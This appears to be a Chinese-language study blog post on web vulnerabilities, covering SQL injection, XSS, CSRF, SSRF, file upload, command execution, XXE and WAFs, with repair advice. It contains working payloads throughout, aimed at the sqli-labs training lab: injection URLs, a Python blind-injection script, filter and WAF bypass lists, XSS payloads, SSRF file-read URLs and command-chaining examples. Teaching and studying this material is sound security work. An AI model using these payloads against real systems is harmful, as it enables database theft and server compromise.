在 msf 命令提示符下直接输入nmap,就可以显示 nmap 提供的所有扫描选项列表

image-20211105170006083

Web安全原理剖析

SQL注入

产生条件

  1. 参数用户可控
  2. 参数代入数据库查询

在实际环境中,开发者需秉持“外部参数皆不可信”的原则进行开发。

SQL注入基础

在MySQL5.0版本之后,会默认在数据库存放information_schema的数据库,在该库中:

SCHEMATA表存储该用户创建的所有数据库的库名,记录数据库库名的字段名为schema_name

TABLES表存储该用户创建的所有数据库的库名和表名,记录数据库库名和表名的字段分别为table_schematable_name

COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,其对应的字段名分别是table_schematable_namecolumn_name

limit的用法

limit的使用格式为limit m,n,其中m指记录开始的位置,从0开始,表示第一条记录,n是指取n条记录。

查询函数

database():当前网站使用的数据库

version():当前MySQL的版本

user():当前MySQL用户

注释符

在MySQL中,常见注释符的表达方式:#--空格/**/

内联注释

内联注释的形式:/*! code */。内联注释可以用于整个SQL语句中,示例如下:

index.php?id=-15 /*! union */  /*! select */ 1,2,3
union注入攻击

我们以sqlilabs第一关为例。

注入顺序依次为:

http://localhost/sqlilabs/Less-1/?id=1
http://localhost/sqlilabs/Less-1/?id=1'
http://localhost/sqlilabs/Less-1/?id=1'--+
http://localhost/sqlilabs/Less-1/?id=1' and 1=1--+
http://localhost/sqlilabs/Less-1/?id=1' and 1=2--+
http://localhost/sqlilabs/Less-1/?id=1' order by 4--+
http://localhost/sqlilabs/Less-1/?id=1' order by 3--+
http://localhost/sqlilabs/Less-1/?id=1' union select 1,2,3--+
http://localhost/sqlilabs/Less-1/?id=999' union select 1,2,3--+
http://localhost/sqlilabs/Less-1/?id=999' union select 1,database(),version()--+

随后可将union select 1,2,3中数字替换为以下查询语句,记得在左右两侧加括号:

select group_concat(schema_name) from information_schema.schemata
select group_concat(table_name) from information_schema.tables where table_schema='security'
select group_concat(column_name) from information_schema.columns where table_name='users'
select group_concat(username) from security.users
select group_concat(password) from security.users
boolean注入攻击

我们以sqlilabs第八关为例。

注入顺序依次为:

http://localhost/sqlilabs/Less-8/?id=1
http://localhost/sqlilabs/Less-8/?id=1'
http://localhost/sqlilabs/Less-8/?id=1' and 1=1 --+
http://localhost/sqlilabs/Less-8/?id=1' and 1=2 --+
http://localhost/sqlilabs/Less-8/?id=1' and length(database())>=10 --+
http://localhost/sqlilabs/Less-8/?id=1' and length(database())>=9 --+
http://localhost/sqlilabs/Less-8/?id=1' and length(database())>=8 --+
http://localhost/sqlilabs/Less-8/?id=1' and substr(database(),1,1)='e' --+
http://localhost/sqlilabs/Less-8/?id=1' and substr(database(),1,1)='s' --+
http://localhost/sqlilabs/Less-8/?id=1' and substr(database(),2,1)='e' --+
...
http://localhost/sqlilabs/Less-8/?id=1' and database()='security' --+

随后可将substr()database()替换为查询语句,记得在左右两侧加括号:

substr(select group_concat(table_name) from information_schema.tables where table_schema='security',1,1)='u'

这里附各字母出现概率表:

字母概率
E0.1268
T0.0978
A0.0788
O0.0776
N0.0707
S0.0634
R0.0594
H0.0573
L0.0394
D0.0389
U0.0280
C0.0268
F0.0256
M0.0244
W0.0214
Y0.0202
G0.0187
P0.0186
B0.0156
V0.0102
K0.0060
X0.0016
J0.0010
Q0.0009
Z0.0006
最大值0.1268

报错注入手动的话需要很大工作量,这里提供一个脚本:

import requests

def database_len():
    for i in range(1, 10):
        url = '''http://127.0.0.1/sqlilabs/Less-8/index.php'''
        payload = '''?id=1' and length(database())>%s''' % i
        # print(url+payload+'%23')
        r = requests.get(url + payload + '%23')
        if 'You are in' in r.text:
            print(i)
        else:
            # print('false')
            print('database_length:', i)
            break

database_len()

def database_name():
    name = ''
    for j in range(1, 9):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = "http://127.0.0.1/sqlilabs/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" % (j, i)
            # print(url+'%23')
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name = name + i
                print(name)
                break
    print('database_name:', name)

database_name()
报错注入攻击

我们以sqlilabs第五关为例。

注入顺序依次为:

http://localhost/sqlilabs/Less-5/?id=1
http://localhost/sqlilabs/Less-5/?id=1'
http://localhost/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

随后可将concat()database()替换为查询语句,记得在左右两侧加括号:

select group_concat(schema_name) from information_schema.schemata
select group_concat(table_name) from information_schema.tables where table_schema='security'
select group_concat(column_name) from information_schema.columns where table_name='users'
select group_concat(username) from security.users
select group_concat(password) from security.users

SQL注入进阶

时间注入攻击

if(length(database())>1,sleep(2),1)的意思为:如果数据库库名的长度大于1,则MySQL查询休眠2秒,否则查询1。

我们以sqlilabs第八关为例。

注入顺序依次为:

http://localhost/sqlilabs/Less-8/?id=1
http://localhost/sqlilabs/Less-8/?id=1'
http://localhost/sqlilabs/Less-8/?id=1' and 1=1 --+
http://localhost/sqlilabs/Less-8/?id=1' and 1=2 --+
http://localhost/sqlilabs/Less-8/?id=1' and if(length(database())>1,sleep(2),1) --+

随后可将if()中左侧条件替换为查询判断语句:

substr(database(),1,1)='s'
堆叠查询注入攻击

堆叠查询可以执行多条语句,多语句之间可以用分号隔开。堆叠查询注入就是利用这个特点,在第二个SQL语句中构造自己要执行的语句。

我们以sqlilabs第三十八关为例。

注入顺序依次为:

http://localhost/sqlilabs/Less-38/?id=1
http://localhost/sqlilabs/Less-38/?id=1'
http://localhost/sqlilabs/Less-38/?id=1'--+
http://localhost/sqlilabs/Less-38/?id=1';insert into users(username,password) values('www','www');--+
二次注入攻击

我们以sqlilabs第二十四关为例。

先注册新用户,用户名为admin'#,密码为111。

image-20211116105546804

修改admin'#密码为123。

image-20211116105828338

此时查看数据库可以发现,用户admin的密码被修改。

宽字节注入

宽字节注入原理:

通常来说,一个GBK编码汉字,占用2个字节。一个UTF-8编码的汉字,占用3个字节。在PHP中,我们可以通过输出echo strlen("中");查看字节数,页面编码为GBK时输入2,UTF-8时输入3。MySQL在使用GBK编码的时候,会认为两个字符为一个汉字,例如%df%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤'的时候,往往利用的思路是将其转换为\。所以如果我们输入%df%27%27就是单引符号会被转义成\也就是%5c%27),在后台%df会将%5c吃掉”,组成一个汉字(%df%5c是一个汉字)。

我们以sqlilabs第三十二关为例。

注入顺序依次为:

http://localhost/sqlilabs/Less-32/?id=1
http://localhost/sqlilabs/Less-32/?id=1'
http://localhost/sqlilabs/Less-32/?id=1' --+
http://localhost/sqlilabs/Less-32/?id=1%df'
http://localhost/sqlilabs/Less-32/?id=%df%27%20union%20select%201,2,3%20%23
cookie注入攻击

打开浏览器中的检查工具,输入 document.cookie 即可获取cookie值。

也可以通过burpsuite截获数据包查看cookie信息。

image-20211116154005604

我们以sqlilabs第二十关为例。

修改Cookie字段,注入顺序依次为:

Cookie: uname=admin
Cookie: uname=admin\
Cookie: uname=admin'
Cookie: uname=admin' or 1=1 --+

接下来即可通过常规流程注入:

爆库: 
1、(union select)
v' union select 1,2,3 from (select count(*),concat((select concat(schema_name,0x7e,0x7e)from information_schema.schemata  limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
【因为使用union select必须是union前半部分报错后半部分才能执行,所以我们就需要让前面的uname的值是一个错误的值】
2、(updatexml)
' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e ),1) or 1=1 --+
爆表:
1、(union select)
v' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x7e,0x7e)from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
2、(updatexml)
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e ),1) or 1=1 --+
爆字段:
1、(union select)
v' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x7e,0x7e) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1) ,floor(rand(0)*2))x from information_schema.tables group by x)a --+
2、(updatexml)
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),0x7e ),1)#
base64注入攻击

base64编码是从二进制到字符的过程,它可以用于在HTTP的环境下传递教程的标志信息。base64是网络上最为常见的用于传输8bit字节码的编码方式之一,它其实就是一种基于64个可打印的字符来表示二进制数据的方法。

Base64编码要求把3个8位字节(38=24)转化为4个6位的字节(46=24),之后在6位的前面补两个0,形成8位一个字节的形式。 当代码量不是3的整数倍时,代码量/3的余数自然就是2或者1。转换的时候,结果不够6位的用0来补上相应的位置,之后再在6位的前面补两个0。转换完空出的结果就用就用“=”来补位。每76个字符加一个换行符,最后的结束符也要处理(一般来说出现 == 就是结束了)进行编码的步骤:

1. 将字符串转换为二进制串(原本是3个8bit为一组);
2. 将二进制串分为以4个6bit为一组;
3. 每一组中的每一个6bit从左往右取之后高位补两个零形成一个新的字符串。
4. 查看BASE64编码表,编码的编号对应的是得出的新字节的十进制值。

例如1:
5. 原本的字符串是“张3”,将它转换为二进制串是:11010101,11000101,00110011(3*8=24)
6. 分4个6bit为一组,所以110101 011100 010100 110011为一组(4*6=24)
7. 这一组中的每一个6bit从左往右取,之后高位补两个零,所以第一个6位:110101,之后高位补两个零:00110101;第二个6位:011100,之后高位补两个零:00011100;第三个6位:010100,之后高位补两个零:00010100;第四个6位:110011,之后高位补两个零:00110011;
8. 形成新的二进制字符串:00110101 00011100 00010100 00110011
9. 最后得到的十进制串是:1cUz

base64_decode(str)是PHP中用于base64加密字符串的函数,base64_encode(str)是PHP中用于base64解密字符串的函数。

我们以sqlilabs第二十二关为例。

image-20211116163737052

通过抓包发现uname内容进行了加密。

打开Decoder模块进行解密,YWRtaW4%3D中的%3D其实是URL编码后的=

image-20211116164101293

对注入内容进行加密。

image-20211116164342383

使用加密内容进行注入。

image-20211116164501777

其他步骤不再累赘详解。

XFF注入攻击

X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中。

使用Burp的Repeater模块对请求进行修改,分别修改X-Forwarded-For的值如下所示:

X-Forwarded-for: 127.0.0.1
X-Forwarded-for: 127.0.0.1’
X-Forwarded-for: 127.0.0.1' and 1=1#
X-Forwarded-for: 127.0.0.1' and 1=2#

若存在漏洞,可以继续使用union注入方式完成注入。

SQL注入绕过技术

常见的绕过方式:

  1. 大小写绕过注入
  2. 双写绕过注入
  3. 编码绕过注入
  4. 内联注释绕过注入

具体符号或字符绕过方式如下。

空格绕过
  1. 用注释替换空格
    select/**/user,password/**/from /**/users;
  2. 空格 url 编码 %20
  3. 两个空格代替一个空格
  4. 用 Tab 代替空格
  5. %a0 = 空格
  6. 如果空格被过滤,括号没有被过滤,可以用括号绕过
    select(user())from dual where(1=1)and(2=2)
  7. 回车
引号绕过
  1. 使用十六进制
    select column_name from information_schema.columns where table_name='users';
    如引号被过滤,可以尝试使用十六进制来进行绕过,即可以将语句写为:
    select column_name from information_schema.columns where table_name=0x7573657273;

  2. 在已知数据库名和表名前提下

    select column_name from information_schema.columns where table_schema=database();

    查询所在数据库中的所有列名, 然后尝试得知哪些字段在哪个表中:
    select username,password from users;

  3. 宽字节注入

逗号绕过

在使用盲注的时候,需要使用到substr()、mid()、limit这些子句方法都需要使用到逗号

  1. 对于substr()mid()这两个方法可以使用from的方式来解决:
    select substr(database() from 1 for 1);
  2. 使用 join
    union select 1,2 可以使用union select * from (select 1)a join (select 2)b代替
  3. 使用like
    select ascii(mid(user(),1,1))=80 可以使用select user() like 'r%'代替
  4. limit 中,使用 offset绕过
    limit 1offset0
or and xor not 绕过
  1. 利用符号替换and = && or=|| xor=| not=!
  2. 在敏感词中添加注释:an/**/d
  3. 双写绕过 oorr
  4. 大小写变形
  5. 编码
注释符绕过
  1. id=1' union select 1,2,3 or '1'='1 即虽然无法使用注释符,但是可以闭合,或者:id=1' union select 1,2,'3
  2. 最后添加or 1'
  3. 最后添加 and '1'='1
等于号绕过
  1. 使用 like
  2. 使用!<>, 因为<>是不等于
  3. regrep (正则表达匹配)
<> 被过滤绕过
  1. greatest(),least()
  2. strcmp(str1,str2), 第一个参数小于第二个参数,返回- 1,否则为 1
  3. in,between a and b
常用等价函数
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()

SQL注入修复

过滤危险字符

大多数CMS都采用过滤危险字符的方式,例如,采用正则表达式匹配union、sleep、load_file等关键字,如果匹配到,则退出程序。

使用预编译语句

其实使用PDO预编译语句,需要注意的是,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增、删、改、查。

XSS

XSS种类

  1. 反射型:
    一般来说这种类型的XSS,需要攻击者提前构造一个恶意链接,来诱使客户点击,比如这样的一段链接:www.abc.com/?params=<script>alert(/xss/)</script>
  2. 存储型:
    这种类型的XSS,危害比前一种大得多。比如一个攻击者在论坛的楼层中包含了一段JavaScript代码,并且服务器没有正确进行过滤输出,那就会造成浏览这个页面的用户执行这段JavaScript代码。
  3. DOM型:
    这种类型则是利用非法输入来闭合对应的html标签。
    比如,有这样的一个a标签:<a href='$var'></a>
    乍看问题不大,可是当$var的内容变为 'οnclick=’alert(/xss/) //,这段代码就会被执行。

XSS基础

反射型XSS

通过在页面上植入恶意链接,诱使用户点击,执行js脚本,所谓反射型XSS就是将用户输入的数据(恶意用户输入的js脚本),“反射”到浏览器执行。

实例

php源码:

<?php

$input = $_GET["param"];

echo "<div>".$input."</div>";

?>

构造payload

http://127.0.0.1/test.php?param=<script>alert(/xss/)</script>

存储性XSS

此类XSS漏洞是指,用户输入的数据(恶意代码)可以“存储”在服务端,只要有人访问这个包含有存储型XSS代码的页面,XSS脚本就会在他们的浏览器中执行,这种XSS具有很强的稳定性。所以也被称做,“持久型XSS”。

实例

通过js脚本获取cookie值,当然,在实际应用中,应该是通过植入链接来将js脚本植入的。

<html>
<head>
    <script type="text/javascript">
        function getCookie(c_name) {
            if (document.cookie.length > 0) {
                c_start = document.cookie.indexOf(c_name + "=")
                if (c_start != -1) {
                    c_start = c_start + c_name.length + 1
                    c_end = document.cookie.indexOf(";", c_start)
                    if (c_end == -1) c_end = document.cookie.length
                    return unescape(document.cookie.substring(c_start, c_end))
                }
            }
            return ""
        }

        function setCookie(c_name, value, expiredays) {
            var exdate = new Date()
            exdate.setDate(exdate.getDate() + expiredays)
            document.cookie = c_name + "=" + escape(value) +
                ((expiredays == null) ? "" : ";expires=" + exdate.toGMTString())
        }

        function checkCookie() {
            username = getCookie('username')
            if (username != null && username != "") {
                alert('Welcome again ' + username + '!')
            } else {
                username = prompt('Please enter your name:', "")
                if (username != null && username != "") {
                    setCookie('username', username, 365)
                }
            }
            alert(document.cookie)
        }
    </script>
</head>

<body onLoad="checkCookie()">
</body>
</html>
DOM型XSS

类似于反射型XSS,但是,这种XSS攻击的实现是通过对DOM树的修改而实现的。

实例
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script>
    function test() {
        var str = document.getElementById("text").value;
        document.getElementById("t").innerHTML = "<a href='" + str + "'>testLink</a>";
    }
</script>

<div id="t"></div>
<input type="text" id="text" value=""/>
<input type="button" id="s" value="write" onclick="test()"/>
</body>
</html>

构造payload

' onclick=alert(/xss1/) //

或者

' ><img src="C:/Users/JK/Desktop/%2523" onerror=alert(/XSS2/) /><'

就可以顺利弹框了。

XSS进阶

XSS常用语句
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
XSS编码绕过
  1. JS编码

    三个八进制数字,如果不够个数,前面补0,例如“<”编码为“\074”
    两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\x3c”
    四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\u003c”
    对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)

  2. HTML实体编码

    命名实体:以&开头的,以分号结尾的,例如<的编码是&lt
    字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为&#数值;,例如<可以编码为&#060&#x3c

  3. URL编码

    一个百分号和该字符的ASCII编码所对应的2位十六进制数字。

    #<>+空格&/.
    %23%3c%3e%2b%20%26%28%29%2f%2e

XSS修复建议

输入方式

过滤输入的数据,包括'、"、<、>、on*等非法字符。

输出方式

对输出到页面的数据进行响应的编码转换,包括HTML实体编码、JavaScript编码等。

CSRF

CSRF(Cross-site request forgery,跨站请求伪造),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟XSS相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

CSRF漏洞经常被用来制作蠕虫攻击、刷SEO流量等。

CSRF的攻击过程有两个重点:

  1. 目标用户已经登录网站,能够执行网站的功能。
  2. 目标用户访问了攻击者构造的URL。

利用CSRF漏洞

我们以pikachu靶场CSRF(GET)为例。

登录任意用户,修改个人信息,使用Burp Suite抓包。

image-20211118103215939

使用自动构造CSRF PoC功能进行构造。

Snipaste_2021-11-18_10-135-06

复制该代码发送到网站上,并诱导用户进行点击,即可完成攻击。

Snipaste_2021-11-118_10-40-35

CSRF漏洞修复建议

  1. 验证请求的Referer值,如果Referer是以自己的网站开头的域名,则说明该请求来自网站自己,是合法的。如果Referer是其他网站域名或空白,就有可能是CSRF攻击,那么服务器应拒绝该请求,但是此方法存在被绕过的可能。

  2. CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,由此,抵御CSRF攻击的关键在于:在请求中放入攻击者不能伪造的信息。例如可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端验证token,如果请求中没有token或者token的内容不正确,则认为该请求可能是CSRF攻击从而拒绝该请求。

SSRF

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。

主要攻击方式

  1. 可以对外网、内网、本地进行端口扫描,获取服务器的banner信息;
  2. 攻击运行在内网或本地的有漏洞程序;
  3. 可以对内网Web应用进行指纹识别,原理为通过请求默认的文件得到特定的指纹;
  4. 攻击内网或外网有漏洞的Web,主要是使用HTTP GET请求就可以实现的攻击(struts2、sqli等);
  5. 使用file协议读取本地文件等。

SSRF漏洞利用

http://localhost/ssrf.php?url=http://www.baidu.com
http://localhost/ssrf.php?url=192.168.0.2:3306
http://localhost/ssrf.php?url=file:///C:/Windows/win.ini

SSRF漏洞修复建议

  1. 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
  2. 限制不能访问公网的IP,以防止对内网进行攻击。
  3. 屏蔽返回的详细信息。

文件上传

非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门,WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统绕过命令等。

JS检测绕过攻击

  1. 使用浏览器的插件删除检测文件后缀的JS代码,然后上传文件即可绕过。
  2. 把需要上传文件的后缀改为允许上传的后缀,如jpg、png等,绕过JS的检测,再抓包,把后缀名改成可执行文件的后缀即可上传成功。

文件后缀绕过攻击

文件后缀绕过攻击是服务端代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其他文件后缀的,例如在httpd.conf

中,如果配置有如下代码,则能够解析php和phtml文件。

addType application/x-httpd-php .php .phtml

所以可以上传后缀为phtml的WebShell。

文件类型绕过攻击

在客户端上传文件时,通过Burp Suite抓取数据包,当上传一个php格式的文件时,可以看到数据包中Content-Type的值是application/octet-stream,而上传jpg格式的文件时,数据包中Content-Type的值为image/jpeg。

如果服务器端代码是通过Content-Type的值来判断文件的类型,那么就可以通过抓包修改来进行绕过攻击。

文件截断绕过攻击

在php中00代表结束符,会把00后面的所有字符删除。

截断条件为:PHP版本小于5.3.4,PHP的magic_quotes_gpcOFF状态。

竞争条件攻击

一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含WebShell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差(因为要执行检查文件和删除文件的操作),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。

暴力破解

漏洞介绍

暴力破解的产生是由于服务器端没有做限制,导致攻击者可以通过暴力的手段破解所需的信息。

修复建议

  1. 如果用户登录次数超过设置的阈值,则锁定账号。

  2. 如果某个IP登录次数超过设置的阈值,则锁定IP。

    注意:锁定IP存在的一个问题是,如果多个用户使用的是同一个IP,则会造成其他用户也不能登录。

命令执行

应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

常用管道符

Windows系例支持的管道符如下所示:

|:直接执行后面的语句。例如:ping 127.0.0.1|whoami

||:如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 2||whoami

:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami

&&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami

Linux系统支持的管道符如下所示:

;:执行完前面的语句再执行后面的。例如:ping 127.0.0.1;whoami。“I”:显示后面语句的执行结果。例如:ping 127.0.0.1|whoami

||:当前面的语句执行出错时,执行后面的语句。例如:ping 1||whoami

:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami

&&:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如:ping 127.0.0.1&&whoami

修复建议

  1. 尽量不要使用命令执行函数。
  2. 客户端提交的变量在进入执行命令函数前要做好过滤和检测。
  3. 在使用动态函数之前,确保使用的函数时指定的函数之一。
  4. 对PHP来说,不能完全控制的危险函数最好不要使用。

逻辑漏洞

逻辑漏洞就是指攻击者利用业务的设计缺陷,获取敏感信息或破坏业务的完整性。一般出现在密码修改、越权访问、密码找回、交易支付金额等功能处。其中越权访问又有水平越权和垂直越权两种。

水平越权:相同级别(权限)的用户或者同一角色中不同的用户之间,可以越权访问、修改或者删除其他用户信息的非法操作。如果出现此漏洞,可能会造成大批量数据的泄露,严重的甚至会造成用户信息被恶意篡改。

垂直越权:就是不同级别之间的用户或不同角色之间用户的越权,比如普通用户可以执行管理员才能执行的功能。逻辑缺陷表现为设计者或开发者在思考过程中做出的特殊假设存在明显或隐含的错误。

修复建议

越权访问漏洞产生的主要原因是没有对用户的身份做判断和控制,防护这种漏洞时,可以通过session来控制。例如在用户登录成功后,将username或uid写入到session中,当用户查看个人信息时,从session中取出username,而不是从GET或POST取username,那么此时取到的username就是没有被篡改的。

XXE漏洞

XML外部实体注入(XML External Entity)简称XXE漏洞,XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

常见的XML语法结构:

<?xml version="1.0"?>  XML声明
<IDOCTYPE note[
<!ELEMENT note(to,from,heading,body)>
<IELEMENT to(#PCDATA)>
<IELEMENT from(#PCDATA)>  文档类型定义(DTD)
<IELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>  文档元素
<body>Don't forget me this weekend</body>
</note>

其中,文档类型定义(DTD)可以是内部声明也可以引用外部DTD,如下所示。

  • 内部声明DTD格式:<!DOCTYPE 根元素[元素声明]>

  • 引用外部DTD格式:<!DOCTYPE 根元素 SYSTEM "文件名">

    在DTD中进行实体声明时,将使用ENTITY关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可在内部或外部进行声明。

  • 内部声明实体格式:<!ENTITY 实体名称 "实体的值">

  • 引用外部实体格式:<!ENTITY 实体名称 SYSTEM "URI">

修复建议

  1. 禁止使用外部实体,例如:libxml_disable_entity_loader(ture)
  2. 过滤用户提交的XML数据,防止出现非法内容。

WAF

Web应用防护系统,英文:Web Application Firewall,简称: WAF)。

百度百科:

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际来专门为Web应用提供保护的一款产品。

WAF种类

  1. 软件型WAF

    由于安装在服务器上,以软件形式装在所保护的服务器上的WAF,由于安装在服务器上,所以可以直接触到服务器上的文件,直接检测服务器上是否存在WebShell、是否有文件被创建等。

    但是同时,由于它是软件,如果要实现对每个请求的解析、识别,可能会存在占用服务器内存过多的情况。除此之外,也存在误报 的可能。因而,软件型WAF往往适合中小型网站

  2. 硬件型WAF

    以硬件形式部署在链路中,支持多种部署方式,当串联到链路中时可以拦截恶意流量,当并联在旁路监听模式时只记录攻击不进行拦截。

    常规硬件WAF的实现方式是通过代理技术代理来自外部的流量,并对请求包进行解析,通过安全规则库的攻击规则进行匹配,如成功匹配规则库中的规则,则识别为异常并进行请求阻断。

    相较而言,由于是硬件,所以一般情况下可承受较高的数据吞吐量,且当管理员选择串联模式接入时时,同一个交换机下的所有服务器,都将处于防火墙的防护范围之类。

  3. 云WAF

    它的主要实现方式是利用DNS技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。

    优点有部署简单,维护成本低、用户无需更新、可充当CDN的特点。缺点是存在轻易被绕过的风险,由于云WAF的主要实现原理是通过将用户的DNS解析到云节点实现防护,这样一来, 如果黑客通过相关手段获取了服务器的真实IP地址,然后强制解析域名,就可以轻松绕过云WAF对服务器发起攻击。同时,对于某些对数据机密性要求比较高的企业来说,云WAF也并不合适,因为如果使用云WAF,所有的数据会记录到云端,这相当于数据被别人保管,可能存在一定的泄露风险。

    一般以反向代理的形式工作,通过配置NS记录或CNAME记录,使对网站的请来报文优先经过WAF主机,经过WAF主机过滤后,将认为无害的请求报文再发送的际网站服务器进行请求,可以说是带防护功能的CDN。

    NS(Name Server)记录是记录域名服务器记录,用来指定该域名由哪个DNS服务器来解析。

    CNAME也被称为规范名字。这种记录允许您将多个名字映射到同一台计算机。

  4. 网站系统内置的WAF

    网站系统内置的WAF也可以说是网站系统中内置的过滤,直接镶嵌在代码中,相对来说自由度高,一般有以下这几种情况。

    • 输入参数强制类型转换(intval等)。
    • 输入参数合法性检测。
    • 关键函数执行(SQL执行、页面显示、命令执行等)前,对经过代码流程的输入进行检测。
    • 对输入的数据进行替换过滤后再继续执行代码流程(转义/替换掉特殊字符等)。
    • 网站系统内置的WAF与业务更加契合,在对安全与业务都比较了解的情况下,可以更少地收到误报与漏报。

WAF防护

网络层防护
  • DDOS攻击
  • SYN Flood
  • ACK Flood
  • HTTP/HTTPS Flood
应用层防护
  • SQL注入攻击
  • 命令注入攻击
  • 代码执行攻击
  • XSS攻击
  • CSRF攻击
信息防护
  • 对网站上出现的银行卡(信用卡、借记卡)、社保卡、驾照等,采用覆盖和隐藏等方式
  • 过滤Web中政治敏感词、技术关键词等
  • 对Web服务器上的文件进行隐藏,普通访问用户无权限访问该文件
绕过WAF方法

大小写混写、URL编码、替换关键字、使用注释、多参数请求拆分、HTTP参数污染、生僻函数、寻找网站源站IP、注入参数到cookies中等。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值